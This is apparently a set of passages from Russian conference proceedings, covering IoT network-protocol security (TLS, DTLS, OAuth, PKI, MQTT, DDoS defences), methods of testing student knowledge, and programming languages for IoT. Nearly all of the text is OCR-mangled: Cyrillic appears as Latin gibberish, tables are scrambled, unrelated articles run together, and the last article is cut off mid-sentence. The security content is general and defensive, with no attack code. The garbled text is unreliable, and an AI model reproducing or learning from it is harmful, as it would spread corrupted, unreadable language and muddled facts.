[IndpoBaHue AaHHBIX — 3TO OCHOBA JJIS 3AILUTHI MHPOPMAIIMH, TTepeaBaeMOoil MEeX Ty
loT-ycrpoiictBamu 1 cepBepamu. OAHMM U3 CaMbIX PACIpPOCTPAHEHHBIX IPOTOKOJIOB
nmdposanus spisercss TLS (Transport Layer Security), koTopslii obecrieurBaeT 0€30MacHy0
nepeaady jgaHHbIXx 1Mo TCP-coeauHeHMsIM, HCIONB3YySl CHUMMETPUYHOE M ACUMMETPHUYHOE
mmdpoBaHue A7 3alIUThl OT artak Tuma "denoek mocepeaune” (MitM). B ToT takxke yacto
ucnonbzyercs DTLS (Datagram TLS) — Gonee nerkas Bepcust TLS, kotopast pabotaer nosepx
UDP u nydiie noJxoIuT JJisi Cpell ¢ BBICOKUMH TPeOOBaHUSAMH K CKOPOCTH M HU3KUM yPOBHEM
MoTeph TAKETOB, HampuMep i ceHcopHbIXx cered. DTLS mo3Bomsier obecneunTs
KOH(UICHIIMAIBHOCTh M LEJIOCTHOCTh JaHHBIX B loT-ycTpoiicTBax ¢ OrpaHUYEHHBIMH
pecypcami, 4To 0COOEHHO BayKHO JIJIs TyOTMYHBIX WM YS3BUMBIX CETEH.
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AyteHTu(UKalus U aBTOpH3alMsi OOECHEeYMBAIOT MOATBEPXKICHUE MOAJIUHHOCTU
YCTPOMCTB U MOJIB30BATEINCH, a TAKKE TO3BOJISIFOT YIIPABIISATH TOCTYIIOM K IaHHBIM U (YHKIIUSM
cucrembl. loT-cucTemMbl UCTIONB3YIOT pazHOOOpa3HbIE METOJbl ayTeHTU(UKAIUK, HAUWHAs OT
MPOCTHIX MApoJiel U 3aKaH4YMBasi KPUNTOrpapuuecKuMy TOKeHaMu U ceptudukatamu. OAuth u
JSON Web Token (JWT) siBAsiFOTCS HONYJISIPHBIMH IPOTOKOJAMH JJIsi OOMEHa TOKEHAMH,
MO3BOJISIIOIIMMU HACTPOUTH OTPAaHUYEHHBIHN JIOCTYI K pecypcaM U KOHTPOJIUPOBATh MPUBUIIETUN
nosik3oBaTenield.  Mcmonb3oBanne uWHOpacTpyKTypbl OTKphIThIX Kiroder (PKI) mo3Bossier
YIpPaBIATh CepTU(UKATAMH M OCYIIECTBISATh AayTEHTU(HUKALMIO YCTPOWCTB HAa OCHOBE
KpunTorpadpUyecKux KIHOYeH, 4To 0COOEHHO Ba)KHO i1 Macmradupyembix loT-certeit, rme
TpeOyeTcs yrpaBieHHe T0CTYIOM JUIsi OOJIBIIOr0 KOJINYECTBA YCTPOIMCTB.

VYnpasnenue kimoyamMd IMHQPOBAaHUS  SBISETCS KPUTUYECKM BaKHOW  YacThIO
0€30MacHOCTH CeTEeBBIX MNPOTOKOJOB. Hamexnoe pacmpeneneHne W OOHOBIEGHHE KITIOUYEH
mQpoBaHUs TPEAOTBPAIIACT HECAHKIIMOHUPOBAHHBIA JOCTYNT K ceTd W jJaHHbiM. B IoT
MIPUMEHSIOTCS pa3Hble MOJAXOJbl K YIPABICHUIO KIIOYaMH, BKJIIOYas MpPEABAPUTEIBHYIO
YCTAHOBKY KJTFOUEH Ha yCTPOICTBAX, UTO SIBISETCS MPOCTHIM, HO OTPAaHUYEHHBIM PEIICHUEM IS
HeOonpmx cereil. bomee mnpoaBunyThie loT-cucTeMBl  UCHONMB3YIOT —JIMHAMHUYECKOE
pacripeneneHue Kito4eid, KoTopoe Mo3BOoJsieT 0e30MacHO 0OMEHHUBATHCS KITFOYaMH IH(PPOBAHUS
U yIpaBIsTh UX JKU3HEHHBIM IHKiIoM. Hampumep, nporokonst EAP (Extensible Authentication
Protocol) u IKE (Internet Key Exchange) npenoctaBisitoT MexaHH3MBbI 17151 0€301acHOro 0OMeHa
KJTFOYaMHU M UX OOHOBJICHUSI, YTO TIOMOTAET 3AIUTUTH CETh OT HECAHKIIMOHUPOBAHHOTO JOCTYTIA.

Ha ypoBHe npunoskeHuit mpoTokoibl oOMeHa coobmenusMu, Takue kak MQTT u CoAP,
o0ecreurBalOT MEXaHM3MbI O€30MaCHOCTH IS 3alIUTHl JaHHBIX BO Bpems nepemadu. MQTT
MoeT padortaTth moepx TLS, uTo oOecreunBaeT 3allIMIIEHHOE COeIWHEHHE U IU(pOoBaHUE
JTAHHBIX, TIEpeJaBaeMbIX MKy ycTpoiicTtBaMu u cepepoM. CoAP, pabortaroumii nmosepx UDP,
takke monaepkuBaetT DTLS mnst obecnieuenuss 6e30MacHOCTH Ha ypPOBHE MPHIIOKEHUS. DTH
IIPOTOKOJIbI MOAJEPKHUBAIOT AyTEHTU(PHUKAIIMIO KIIMEHTOB M MOT'YT ObITh HACTPOEHBI JUI OTKa3a
OT COEIMHEHUI, He COOTBETCTBYIOIIMX TPEOOBAaHUSAM OE30MaCHOCTH, YTO MOMOTaeT 3alUTUTh
JTAHHBIE OT MOJJENIKA U HECAHKIIMOHUPOBAaHHOT'O JOCTYIIA.

loT-ycTpoiicTBa mMoOABEp)KEHBI pazIMYHBIM BUAAaM aTak, TakuM kak DDoS-atakw,
nepexBaT JaHHbIX M aTaKU Ha YSI3BUMOCTH IPOTrpaMMHOr0O obecrieueHus. J[ias MUHUMM3aLUU
ATUX Yrpo3 MPUMEHSIOTCS TaKHe METOAbI, KaK (DMIbTpalus MaKeTOB, OTPAHUYCHUE YaCTOTHI
3aIlpOCOB U cerMeHTalus ceTy. OUabTpalys MakeToB MO3BOJISET OJIOKMPOBATH MOI03PUTEIIbHBIE
COCIMHEHHUS U OTrPaHUuYMBATH JOCTYIN TOJIBKO JUIS pa3pellieHHBbIX YCTPOMCTB. OrpaHuyeHue
YacTOThI 3alPOCOB MPENOTBPAILACT MEPErpy3Ky CETH, YCTaHABJIMBAsl JIMMHUTHI HA KOJMYECTBO
3aIlpOCOB, MOCTYMAIOLIMX OT OJHOTrO ycTponcTBa. CerMeHTanusi CeT IOMOraeT M30JMpOBaTh
loT-ycrpoiicTBa OT OCHOBHOM CETH KOMITAHUH, OTpPaHIUYMBAasi BO3MOKHBIE ITOCIIEICTBUS B CITy4ae
B3JIOMA WJIM PACpOCTPAHEHUS aTAKH.

Perynsipuble OOHOBJIEHMS MPOIIMBKA W MPOrPAMMHOIO OOECIECUEHHS] TaKKE HIParoT
KJII04eBYI0 pousib B 3amuTe loT-ycrpoiicTs. Ilpon3BoauTenn NOMKHBI PETYISIPHO BBITYCKATh
OOHOBJIEHUSI U MAaT4YM JJIsl UCTPABICHUS BBISIBICHHBIX YSA3BUMOCTEH, UYTO CHHXKAET PUCK HUX
JKCILTyaTaluu 3JI0YMBIILITICHHUKAMH. Mpmorue loT-nargopmbt [peJ1araroT
LUEHTPAJIU30BaHHbIE  CHCTEMbl  yIpaBlieHHS  OOHOBJICHHUSMH,  KOTOpbIE  IO3BOJIAIOT
aJIMUHHICTPATOPaM aBTOMATU3UPOBATh MPOLECC OOHOBJICHUSI YCTPOWCTB, CHIKAs PUCKU
6e3onmacHocTH B 60bmnx loT-cersix.

Jist yiydineHus: CTPyKTYphI M HAMJISITHOCTH 100aBUM Tabnwuily 1, KoTopas pe3roMupyer
KITIOUEBBIC aCTIEKThI 0€30MTaCHOCTH CETEBBIX MPOTOKOJIOB B [0T:

Tabnuya 1
Kniouesvie acnexmut bezonacnocmu cemegwix npomoKoJjios 6 IoT.
Kamezopus Onucanue Tpumeput
Hlugposanue oannvix 3awuma dannvix, nepedasaemuix mMednNcoOy yCmpoucmeamu, TLS, DTLS

om nepexsama u noodeixu. Mcnonvzyemes cummempuytoe u
acummempuyHoe wugposanue.

Aymenmugpuxayus u Tloomeepoicoernue noOIuHHOCMU YCMPOUCME U YNPAG/IeHUe OAuth, JWT, PKI
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asmopusayus docmynom K pecypcam loT-cemu.
Ynpasnenue xnrovamu T'enepayus, pacnpedenenue u 0bHos1eHUe KtoYell EAP, IKE
wiughposanusi 05 3auwiumol cemetl U OAHHBIX.
3awuma npomoxonos Obecneuenue KOHPUOESHYUATLHOCIU U YeTOCHMHOCIU MOTT (c TLS), CoAP
0bMena coooweHusIMU OaHHLIX HA YPOBHE NPUTIOIICEHUI. (¢ DTLS)
Mexanusmut 3awumot om Memoowt npedomepawenus DDoS-amaxk, nepexeama Dunempayus nakemos,
amax OGHHBIX U IKCHIYAMAYUU YAIEUMOCHIELL. OZpaHuienue Yacmomyl
3anpocos,
ceameHmayus cemu
Ob6Hosnenus u namuu Pezynaproe obnosnenue npowuexu u I10 ons ycmpanenus Lenmpanuzosantoe
VA3BUMOCHEN U CHUICEHUA PUCKA AMAK. ynpaenenue
00HOGIeHUAMU

bezomacHocTh ceTeBbIx MpoTOKONIOB B 0T TpeOyeT KOMITJIEKCHOTO MOAX0/a, KOTOPBIN
BKJTIFOYAeT MM(POBAHKE JAHHBIX, AyTCHTU(HUKAIIMIO W aBTOPU3AIMIO, YIIPABICHUE KITIOYAMHU,
3alIUTy OT aTaK U PerysipHble OOHOBJICHHS. DTOT MOAXO MO3BOJIET obecneunTh 3ammty loT-
CHCTEM OT BHEIIHMX Yrpo3, 00ecneunTh KOH(DUIACHIMAIBHOCTh W IEJIOCTHOCTh TAHHBIX U
CO3M1aTh HaJIe)KHbIC YCIOBUS U CTAOMIBHOU pabOThl 3TUX CHCTEM. JTO OCOOECHHO BAYKHO ISt
KPUTHUYECKHA BaXXHBIX Cep, TAKUX KaK MPOMBIIUICHHAsS aBTOMATH3alMs, 37[PaBOOXPAHEHUE U
YMHBIE TOpPO/Ia, TJI€ B3JIOM U IIOTEPS JAHHBIX MOT'YT UMETh CEPbE3HBIC ITOCIICICTBHS.

*k*k
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nHpoTeTeKOMMYHHKAIMI B HayKe 1 oOpaszoBanun (ATIMHO 2022). — 2022. — C. 438-440.
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AHHOTALUSA

CraTbs aHATM3UPYET COBPEMEHHBIE METOJbI MPOBEPKH 3HAHUI CTYAEHTOB, BKJIIOYas
SKCIIEPTHBIE, OINPOCHBIC, HMHTEJIEKTyalbHblE M afanTHBHBIE NoAXoAbl. Oco0oe BHUMaHHE
yaeneHo npuMeHeHHro IT-pemeHuii ¥ TEXHOJNIOTMH HCKYCCTBEHHOIO MHTEIIEKTa IS
NEPCOHAIN3ALMN O0Y4YEHHs ¥ MOBBIIIEHUSI OOBEKTUBHOCTH OLIEHKH.

KiroueBble ci1oBa: mpoBepKa 3HAHUM, OSKCIEPTHBIA IOAXOJ, HWHTEIJIEKTyaJIbHbIE
CUCTEMBI, aJaNTUBHOE OOyY€HHE, TEXHOJOIMH HCKYCCTBEHHOIO WHTEIUIEKTa, OLEHKa
00pa3oBaTEBHBIX IOCTHKCHUH.

Abstract
The article analyzes modern methods of testing students' knowledge, including expert,
survey, intellectual and adaptive approaches. Special attention is paid to the use of IT solutions
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and artificial intelligence technologies to personalize learning and improve the objectivity of
assessment.

Keywords: knowledge testing, expert approach, intelligent systems, adaptive learning,
artificial intelligence technologies, assessment of educational achievements.

OKCHEPTHBIA CIOCOO OpraHu3alu OOy4YeHHs W MPOBEPKH 3HAHWN IPEIroJiaract
aKTUBHYIO pOJIb IIPENoJaBaTessl B IIPOLIECCE OLEHKU CTYIEHTOB. B 3ToM moaxone yuurenb
NPUHUMAET Ha ceOsi OTBETCTBEHHOCTh 3a MPOBEPKY 3HAHUI M OLIEHKY Y4EOHBIX IOCTHKEHHH
CTY/JICHTOB.

B pamkax sKcrepTHOTo Mmojxo/a MpernoiaBaTellb UCTIONIb3YET CBOU NMPOQecCHOHATIbHbIE
3HAHUSA U OMBIT JUIS ONPEEIICHUs] YPOBHsI IOHUMaHUS U YCBOEHUsI MaTepuaia cTyaeHTaMu. OH
OLICHWBAE€T WX 3HAHUs, HABBIKK M CIIOCOOHOCTH HAa OCHOBE YCTAHOBJICHHBIX KPUTEPHEB U
CTaH/IapTOB.

[IpenioaBaresb MOXKET MPOBOAUTH KaK (POPMATUBHYIO, TaK M CYMMATHBHYIO OLICHKY.
@dopmaTuBHas OLIEHKA HAIpaBlIeHAa HAa HENPEPHIBHYIO OLEHKY MPOrpecca CTyJEHTOB B TCUCHHE
yueOHoro nporecca. OHa MOXKET BKITIOYATh OOPATHYIO CBSI3b, MHIMBHUIyaIbHBIE KOHCYIIbTAIINH,
MPOBEPKY JOMAIIHUX 33aJaHU U ydacTHe B IpyMIOBbIX AucKyccusx. CyMMaTHBHAs OLIEHKA, B
CBOIO O4Yepe/ib, MPOBOAMTCS B KOHIE Y4eOHOTo Meproaa U OLIEHUBACT HAKOIUICHHBIC 3HAHUS U
YMEHHUS CTYJICHTOB.

OKCHEepTHBIA MOAXOZ TO3BOJSIET IMPENOJaBaTe0 aKTUBHO B3aWMOJAEHCTBOBATH C
KaX/bIM CTYIECHTOM, OOHapyXXHMBaThb M aHAJIM3UPOBATH UX HHIMBUAYaJIbHbIE MOTPEOHOCTH U
MPEIOCTABIATh MHIUBHIYAIM3UPOBAHHYIO OOpaTHYIO CBA3b. OJTO CIOCOOCTBYeT Ooree
3(pPEeKTUBHOMY O0OYUEHHUIO U PA3BUTHIO Ka)KI0TO YYaIEerocs.

OnHako cremyeT OTMETHTh, YTO SKCHEPTHBIA TOAXOA HWMEET M CBOU OrPaHUYCHHUS.
OueHka, OCHOBaHHAs! TOJIbKO HA MHEHMHU OIHOTO NPETOIaBaTelis, MOXKET ObITh CyObEKTUBHOM 1
MOJIBEP>KEeHA Pa3HOOOPA3HBIX BIUSHUMH.

Tak ke B OKCHEPTHOM MOAX0JAe OOpaTHas CBA3b OOBIYHO OrpPaHUYEHA OIHUM
npernoiaBaTeneM. JTO O3HAYaeT, YTO CTYJACHTHI MOTYT TOJNYYHTh OTPAHUUYCHHOE KOJHMYECTBO
uH(pOpMaLMU O CBOMX CHJIBHBIX U CIa0BIX CTOPOHAX M O TOM, KaK OHM MOTYT YJIyYIIHTh CBOM
HABBIKH 1 3HAHUSL.

[TpoBenenne MHAMBUIYATBHON MPOBEPKU KaXKAOTO CTYIEHTa INPENoJaBaTeIeM MOXKET
OBITh TPYAOEMKUM U TpeOoBaTh OOJNBINMX 3aTpaT BPEMEHH U PECYpCOB. DTO OCOOCHHO
aKTyaJIbHO B cilydae OOJIBIIMX TPYII CTYASHTOB WK MPH HEOOXOJUMOCTH MPOBEPKU OOJIBILIOTO
o0Bema paboT.

OnpocHblif (aHKETHPOBaHUE) CMOCOO OpraHW3alMKU OOY4YEeHUs U TPOBEPKHU 3HAHMI
sBisieTcss 3(QQPEKTUBHBIM HHCTPYMEHTOM, KOTOPBIM MO3BOJISIET cOoOpaTh HHGPOpPMALMIO OT
OOJIBILIOrO KOJIMYECTBA YYACTHHKOB OJHOBpeMeHHO. OH o0jajaeT MacIITabUpyeMOCTBIO U
SKOHOMUT BPEMs U peCypChl, 0COOEHHO MPHU paboTe ¢ OONBIIMMU TPYIIIAMU CTYACHTOB. AHKETHI
MOT'YT OBbITh aHOHHUMHBIMH, YTO CIIOCOOCTBYET OTKPBITOCTH M YECTHOCTU OTBETOB. Ompoch
TIO3BOJISIIOT COOpaTh MHEHUsI, OIICHKU U (PUAOSK OT CTYAEHTOB, YTO ITOMOTAET MPETOAaBaTeIsIM
U OpraHu3aTropaM OOy4eHHs MOIYYUTh OOIYI0 KapTHHY U OLUEHUTH 3(P(PEKTUBHOCTH y4eOHOTO
npouecca. OOHAKo, ONPOCHl TaKKe€ HMMEIOT CBOM OrpaHMYEHUs, TaKME KaK BO3MOYKHOCTb
MOBEPXHOCTHBIX OTBETOB, HECTIOCOOHOCTH Y4ECTh KOHTEKCT U CJIOXKHOCTh HEKOTOPBIX BOIPOCOB.
IlosTOoMy Ba)KHO C yMOM HCIIOJB30BaTh ONPOCHBI METOJ M KOMOMHHPOBATH €ro C JIPYyrUMHu
crioco0amMy MPOBEPKU 3HAHUM /11 OTyueHHs 00Jiee MOTHOM U 0O BEKTUBHON KapTUHBI.

HuTennexTyanbHbIN CIIOCOO OpraHM3aui O0yUEHUs U TIPOBEPKH 3HAHUM MPEICTABIIACT
€000 MHHOBALIMOHHBIN TOAXO0/1, OCHOBAHHBIM HA MUCMOJIB30BAHUN UCKYCCTBEHHOTO MHTEIUICKTA
U MalIMHHOro oOy4yeHus. B 3ToM MeToze BOIPOCH FEHEPUPYIOTCSI aBTOMAaTUYECKU HAa OCHOBE
NpeAbIayIIero oO0ydeHHss CTyAEHTOB. IIpy WCHONB30BaHMM Takoro TOAXOAA CHUCTEMa
aHaIM3UPYeT JIaHHbIE O 3HAHMAX CTYAEHTOB M MX IIPOrpecce, U Ha OCHOBE 3TOH MH(pOpMalu
CO3/1aeT MHIMBHIYaJIbHbIE BOIPOCHI, KOTOpPBhIE HauOOIee COOTBETCTBYIOT YPOBHIO 3HAHHMU U
CIOCOOHOCTSIM KaK/10T0 CTY/EHTA.
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[TperMyIecTBO MHTEIEKTYaIbHOIO CHOCO0A 3aK/IOYAeTCsi B €ro CIOCOOHOCTH K
nepcoHanu3au ooyueHus. Kaxaplii CTyIeHT NoTydaeT MHAMBUIYaJIbHbIE BOIPOCHI, KOTOPbIE
COOTBETCTBYIOT €r0 YPOBHIO 3HAHMM M IO3BOJIAIOT €My pPa3BUBAThCS B CBOEM TeMIle. OJTO
CIOCOOCTBYET MOBBIILIEHUIO MOTHBAIMU U 3PPEKTUBHOCTH 00yUEHUS.

OpnHako, 3TOT NOAXOJ MMEET U HEKOTOpble orpanuueHus. Hampumep, uid ycnemHoro
(YHKIIMOHUPOBAHUS MHTEIUICKTYaJIbHON CHCTEMBI HEOOXOAMMO OOIIMPHOE M KaueCTBEHHOE
00y4aroIee MHOKECTBO JaHHbIX. TakKe Ba)KHO YUMTBIBATh, YTO CUCTEMA MOYKET OIPaHUYUTHCS
TOJBKO (POPMHUPOBAHHEM BOIMPOCOB, U BAXKHO PAa3HOOOPA3UTh METOJbI MPOBEPKU 3HAHHNA IS
MIOJTHOT'O OXBaTa y4eOHbIX LIeNIEeH.

B 1enoM, MHTENIEKTYyaJdbHBIA CHOCOO OpraHu3alui OOy4YeHHS M IMPOBEPKU 3HAHUMA
NPE/ICTaBIAET COO0M MEepCHEeKTUBHOE HAIpaBIE€HHE, KOTOPOE MO3BOJISIET MEPCOHATM3HPOBATH
nporiecc 00yueHHs ¥ IOBBIIIATH €ro 3PPEKTUBHOCTb.

AnanTuBHBIN cr1oco0 opraHu3aluy 00yueHHs U MPOBEPKH 3HAHUM IpescTaBiIsgeT co0o0il
MHHOBAIIMOHHBIM TOAXOJ, KOTOPHII OCHOBBIBAETCSI HAa JMHAMUYECKOM IOJCTpauBaHUU
BOIIPOCOB M MaTepHajoB OOy4YEHUs MOJ WHIMBHIYyalbHble MOTPEOHOCTH M YpPOBEHb 3HAHWMMH
KaXJI0ro cryjeHTa. B 3ToM Merone cuctemMa aHaM3UpyeT MpelblLIyLe BOIPOCHI, OTBETHI,
Iporpecc CTYJEHTa, a TAK)KE BHEIIHHE COOBITHSI, TAKUE KaK HOBbIE MaTepHaIbl MIIM U3MEHEHHS B
yueOHOM mporpamme, ¥ Ha OCHOBE 3TOM HMHGpopMmauuu (HOopMUpPYET JalbHEHIINE 3afaHus U
BOIIPOCHI, KOTOpPBIE HAWIYYLIMM OOpa3oM COOTBETCTBYIOT YPOBHIO 3HaHHUN M HOTPEOHOCTAM
CTyJEHTA.

[IpenmyiecTBOM aAanTUBHOIO IOAXOAA SBJSIETCS WHAMBHIYalbHAash HACTPOMKa
nporecca 0Oy4eHHs MO/ KaXKAO0ro CTYAEHTa. DTO MO3BOJISIET ONTUMU3UPOBATh UCIIOJIL30BAHKE
BPEMEHU U PECYpPCOB, COKYCHPOBATHCS Ha CIAOBIX CTOPOHAX M YAEIATh OOjblie BHUMaHUS
Pa3BUTHIO KOHKPETHBIX HAaBBIKOB M 3HaHWU. Kpome Toro, aganTHBHBII METOJ| CIIOCOOCTBYET
MOBBIIIEHUIO MOTHBAllMM CTYJEHTA, TaK KaK OH BUJUT, YTO €ro oOy4YeHHE WHAWBHUIYaTbHO
HACTPOEHO M YYHUTHIBAET €r0 MPOrpecc.

OnHako, aIanTUBHBIN MMOJXO]] TaKXKe UMEeT CBOM orpanuueHus. Hampumep, tpedyercs
BBICOKAs CTENIEHb TEXHOJIOIMUECKON pa3pabOTKU U PECypCcOB ISl CO3aHUS U TOJIEP’KKU TaKOH
cucteMbl. Kpome TOro, BakHO Y4MTHIBaTh KOH(UIECHIMAIBHOCTh JAaHHBIX CTYJIEHTOB U
obecrieunTh Oe30macHoCTh MH(OpMAIMK, 0OCOOEHHO MpHU padoTre ¢ oHnaiH-uiatdpopmamu. Ha
pUCYHKE | MpencTaBieHa CpaBHMUTENbHAs XapaKTEPUCTHKA IOJXOMOB K IPOBEPKE 3HAHWUM
CTYJCHTOB.

Criocod Tpyon | QdnestH | Bosymosx | Odygen | Jawmmra | 3ammra
OpraHM3aAlHH | OBas | BOCTE HOCTB |MeHa |oT or
H MPOBEPKH NpOBEPE | JHCTAHL | PasHBIX | ENMMAHH | CIHMCHIB
3HAHHH H ZHAHHI | QHHOLY, | ASBIKAX | & AHHA
obyueHn CTYAEHT
a1 a

Pucynox 1. Cpasnumenvras xapaxmepucmuxa nooxo0os K npogepke 3HaHuli Cmyo0eHmos.

I[BeToBass KOAMpOBKAa B TaONMIE WUIIOCTPHUPYET CTENEHb COOTBETCTBUS KaXKIOTO
crnioco0a MPOBEPKH 3HAHUH ONpPEeICHHBIM KPUTEPUSIM:
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3eneHplid 1BET 0003HA4YaeT BBICOKHM YpOBEeHb A(M(OEKTUBHOCTH M COOTBETCTBUSA
Kkputeputo. I1oaxoapl, OTMEYEHHBIE 3TUM LIBETOM, JEMOHCTPUPYIOT HAWIYYIlIAE PE3YIbTaThl U
TIOJTHOCTBIO OTBEYAIOT 33JaHHBIM TPEOOBAHUSIM.

XKenTblii 1BET yKa3bIBa€T HAa CPEIHIOI0 CTENEHb COOTBETCTBHA. DTO O3HAYaeT, 4TO
TIOZIXOJI BBITIOJTHSIET KPUTEPHIA C ONPE/ICICHHBIMA OTPAaHMYCHUSIMU WM MMEET TOTCHINA IS
YIIYYILEHHUS.

KpacHplii 11BET CBHACTEIBCTBYET O HHM3KOM 3()PEKTHBHOCTH WM HEIOCTATOYHOU
creneHu cooTBeTcTBUs. [loaxoap! ¢ 3TUM 0003HAYEHUEM TPEOYIOT MEePecMOTpa HiIH A0paboTKU
TUTSL TOCTHYKEHHS )KEIaeMOT0 Pe3yIbTaTa.

CoBpeMeHHbIe TpeOOBaHMs 00pa30BaTeNbHON CEephl B COYCTAHUH C TEXHOJIOTUIECKUM
MPOTPECCOM  CTaBSIT TMEpel CUCTeMaMu OOy4YeHWss ¥ TIPOBEPKM 3HAHWW HOBBIC 3aJauM.
Heo0xomuMoCcTh co31aHMsl MHTEIUIEKTYadbHOW CHUCTEMBl NPOBEPKM 3HAHUKA CTaHOBHTCS
0COOCHHO aKTyaJIbHOM. Takast cucTeMa JO0JDKHA MCKITFOUaTh BIIMSHHIE YEJI0BEUECKOTO (hakTopa u
obecrieurBaTh OOBEKTHBHYIO OIIEHKY 3HAHUM CTyJIeHTOB. Mcromnp3ysi AaHHBIE O MPEAbLIyLIEM
0o0yueHUH, OHA CIIOCOOHA T€HEPUPOBATHh YHUKAIBHBIE 33JIJaHUS, YTO CIIOCOOCTBYET TTyOOKOMY
IMOHMMAaHUIO MaTepuajla W HMHAUBUAYAJIU3AlHUW IPOoLCcca 06yquI/151. Taxxe BaXXHO, YTOOBI
cucteMa A(QQPEKTUBHO TPEIOTBpaIlaia HEAOOPOCOBECTHBIE METOIbI TPOBEPKU 3HAHUIA,
MOZIEp KMBaJIa BO3MOXKHOCTH JIUCTAHIIMOHHOTO OOy4YeHHsI U oOecneynBaia JIOCTYIHOCTh ISt
TIOJTB30BATEIICH C PAa3HBIMHU SI3BIKOBBIMH OCOOEHHOCTSIMH, YTO OCOOCHHO aKTYaJIbHO B YCIIOBHUSIX
riodanu3anyy 00pa3oBaHusl.
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AHHOTAINA

Cratbs aHaM3UPYET BHIOOP S3BIKOB ITporpammupoBanus uid loT-pemennii Ha pa3HbIX
YPOBHSIX apXUTEKTYPhl — OT JATYUKOB JI0 00NMauHbIX cucteM. Paccmarpusarotcst Python, C,
C++, Java u gpyrue, ¢ akIEHTOM Ha MX NPUMEHHUMOCTh U KIIIOYEBbIE NpPEUMYILECTBA B
Pa3IMYHBIX 3aa4ax.

KiroueBble ciaoBa: |0oT-apxurextypa, si3biku mporpammupoBanusi, Python B [oT,
addextuBHOCTE C 11 C++, Java st KpoccIuiaThopMEeHHOCTH, BBIOOP TexHoJorwid st [oT.
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Abstract

The article analyzes the choice of programming languages for 10T solutions at different
levels of architecture - from sensors to cloud systems. Python, C, C++, Java and others are
considered, with an emphasis on their applicability and key advantages in various tasks.

Keywords: 10T architecture, programming languages, Python in IoT, efficiency of C and
C++, Java for cross-platform, choice of technologies for l0T.

Apxurektypa loT-peniennii BKIIOYaeT 4eThlpe YpOBHS: AATYHUKH, KOTOPBIE COOMPAIOT
JlaHHbIE (HANpHUMep, NPOTEUKH, IBU)KEHHS, OCBEILECHHUS), JOKAIbHbBIE IIUTIO3bI Ml Mepeau U
oOMeHa JJaHHBIMHU, TPAHUYHBIE CEPBEPHI JUIS JIOKATHHOTO XpaHEHUs M 00paboTKu WH(pOpMAIUN
Ha MecTax (HampuMmep, B MPOM3BOJICTBEHHBIX TIOMEIICHHSX ), H 00JIAYHYI0 HHPPACTPYKTYPY IS
XpaHEHUs U aHaJIu3a JaHHbIX.

C yuyeToM 3TOIl MHOTOYpOBHEBOH CTPYKTYpbl pa3paOOTUMKM BbIOMPAIOT TEXHOJOTHUH,
noaxonsAume Uil Kaxnaoro ypoBHa. Ha pucynke 1 mo nanHsiM uccienoBanusi Eclipse
Foundation ot pexabps 2021 roma, wu300pakeHbl Haubolee TOMYISIPHBbIE —S3BIKU
nporpammupoBanus s [oT.

Key
Programming Languages: Top 4 by Tier
1.C-25% 1. Python- 20% 1. Python - 19% 1. Python 22%
2.C++-18% 2.C++-16% 2. Java-15% 2. Java - 18%
3. Java-12% 3.C-15% 3.C++-14% 3. Javascript - 16%
4. Python-11% 4. Java - 14% 4.C-7% 4.C++-9%

Pucynox 1. [onynapuvie azvixu npoepammuposarus ons 1oT.

JUin paznuunbix ypoBHeill loT-apXuTekTypbl HaOMIOAAETCS YETKOE pacIpeiesicHUe
NpeAnoYTeHUH B s3bIKaXx IporpamMmmupoBaHus. Ha ypoBHe BCTpaMBaeMbIX YCTPOWCTB U
MUKpOKOHTpouiepoB muaupyioT C, C++, Java u Python, uto 00bsicHseTCs HX 3()(HEKTHBHOCTHIO
npu paboTe ¢ orpaHnYeHHbIMU pecypcamu. Ha ypoBHe numo3oB Haubosee nomyssipasl Python,
C++, C u Java, 4ro no3BossieT TMOKO yNpaBiaATh OOMEHOM JaHHBIX. /{111 cepBepHOii pa3paboTKu
OCHOBHBIMM si3blKaMU siBsitoTcst Python, Java, C++ u C, olecnieunBaroniye HaJekHOCTb U
BBICOKYIO ITPOM3BOAUTEIBHOCTE. B 005auHoil nHppacTpyKkType npeanoutenue oraaercs Python,
Java, JavaScript u C++, 4TO CcB3aHO ¢ HEOOXOJMMOCTBIO MACIITAOUPYEMOCTH M MHTETPALUU C
BE0-TEXHOJIOTUAMHU.

ITo uroram 2021 roga Python 3ansn nuaupyromue no3uiuu B chepe loT, cmectus Java,
KOTOpasi paHee 3aHMMaia nepByto ctpouky. B peiitunre TIOBE Python Taxoke obomén Java u
C, 4To MOTYEPKMUBAET €ro PACTYIIYIO MOMYJIAPHOCTb. DTOT S3bIK LIEHUTCS 3a MPOCTOTY MU
CKOpPOCTh pa3paboTku Oyaromapsi OOMIUPHON OMOIMOTEKE, KOTOpasi OXBATHIBAET OOJIBITMHCTBO
3aj1a4, 0COOCHHO B 00JIaCTH aHaJIM3a JaHHBIX U MAalIMHHOTO o0yuyeHus. Python yacto HasbIBaroOT
"kneem" cpenu SI3BIKOB MPOTPAMMHUPOBAHMS H3-3a2 €r0 CIOCOOHOCTH B3aWMOJICHCTBOBATH C
JPYTUMH sI3bIKAaMH U TexHosorusaMu. Yctpoiicta [oT craHoBsTCS BCE MoIHEe, U MPUOPUTET
BCcE daie OTHAETCs CKOPOCTH pa3pabOTKM W yA0OCTBY HamMCaHUs KOAA, a HE >KECTKOM
ONTUMU3AIINH.

JI1st IpOCTHIX TMPOEKTOB ¢ HU3KUMH TPEOOBAaHUSMHU MOYKHO HCIIONB30BaTh CTaHIAPTHEIC
oubmorekn Python. Onnako, ecnu peub MAET O MUKPOKOHTpOJUIEpax, JIydlle MOJOUAET
MicroPython — ontumusupoBanHas Bepcusi Python, pa3spaboTannas uist TiaT ¢ OrpaHHYeHHOM
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MaMsTBIO U MPOLIECCOPHOM MOIIHOCTHIO. TeM He MeHee, /11l 33/1a4 C BBICOKUMU TPeOOBaHUSIMU
K CKOPOCTH M HU3KOMY 3HepronoTpebienuto Python ycrynaer C, C++ u Java, kotopsie iyurie
MOJXOJIAT [T TAKUX YCIIOBHM.

C++ coxpanser Bbicokyto nonyssipHocTh B 0T Oxaromaps cBoe mpoM3BOAUTETBHOCTH
1 TuOKocTU. Ero 4acto Mcmonb3yroT Ha OJHOIUIATHBIX KOMITBIOTEpAX, TaKuxX Kak Raspberry Pi,
TaK Kak OH coyeraeT B cebe ckopoctb C ¢ Oojee yHOOHBIM CHHTaKCHCOM U
(yHKLIMOHATBHOCTBIO, YTO COKpAIllaeT BpeMs pa3palOTKu. DTO JAeiaeT ero MOIXOASIIUM s
MPOEKTOB, T€ BaXKHBI KaK MPOU3BOIUTENBHOCTh, TaK U THOKOCTH pa3zpaboTku. Kpome Toro,
